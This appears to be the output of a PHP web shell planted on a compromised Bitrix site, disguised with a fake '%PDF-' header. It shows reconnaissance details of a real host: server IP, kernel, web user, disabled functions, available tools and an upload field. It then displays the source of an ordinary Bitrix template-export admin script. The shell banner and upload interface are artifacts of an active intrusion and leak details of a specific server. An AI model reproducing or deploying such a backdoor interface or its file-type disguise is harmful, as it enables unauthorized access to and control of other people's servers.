%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 52.14.123.103 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/main/admin/ |
Upload File : |
<? /** * Bitrix Framework * @package bitrix * @subpackage main * @copyright 2001-2013 Bitrix */ /** * Bitrix vars * @global CUser $USER * @global CMain $APPLICATION */ require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_before.php"); require_once($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/modules/main/prolog.php"); if((!$USER->CanDoOperation('edit_other_settings') && !$USER->CanDoOperation('view_other_settings')) || !check_bitrix_sessid()) $APPLICATION->AuthForm(GetMessage("ACCESS_DENIED")); $ID = str_replace("\\", "", $_REQUEST["ID"]); $ID = str_replace("/", "", $ID); $bUseCompression = True; if(!extension_loaded('zlib') || !function_exists("gzcompress")) $bUseCompression = False; require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/classes/general/tar_gz.php"); CheckDirPath($_SERVER['DOCUMENT_ROOT'].BX_PERSONAL_ROOT."/tmp/templates/"); $tmpfname = $_SERVER['DOCUMENT_ROOT'].BX_PERSONAL_ROOT."/tmp/templates/".md5(uniqid(rand(), true).".tar.gz"); $HTTP_ACCEPT_ENCODING = ""; $strError = ""; $path = getLocalPath("templates/".$ID, BX_PERSONAL_ROOT); if(is_dir($_SERVER["DOCUMENT_ROOT"].$path)) { $oArchiver = new CArchiver($tmpfname, $bUseCompression); $tres = $oArchiver->add("\"".$_SERVER["DOCUMENT_ROOT"].$path."\"", false, $_SERVER["DOCUMENT_ROOT"].$path); if(!$tres) { $strError = "Archiver error"; $arErrors = &$oArchiver->GetErrors(); if(count($arErrors)>0) { $strError .= ":<br>"; foreach ($arErrors as $value) $strError .= "[".$value[0]."] ".$value[1]."<br>"; } else $strError .= ".<br>"; } header('Pragma: public'); header('Cache-control: private'); header("Content-Type: application/force-download; name=\"".$ID.".tar.gz\""); header("Content-Transfer-Encoding: binary"); header("Content-Length: ".filesize($tmpfname)); header("Content-Disposition: attachment; filename=\"".$ID.".tar.gz\""); header("Expires: 0"); readfile($tmpfname); unlink($tmpfname); // die(); } if ($strError <> '') { $APPLICATION->SetTitle("Archiver error"); require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_after.php"); CAdminMessage::ShowMessage($strError); require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/epilog_admin_before.php"); } require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/epilog_admin_after.php");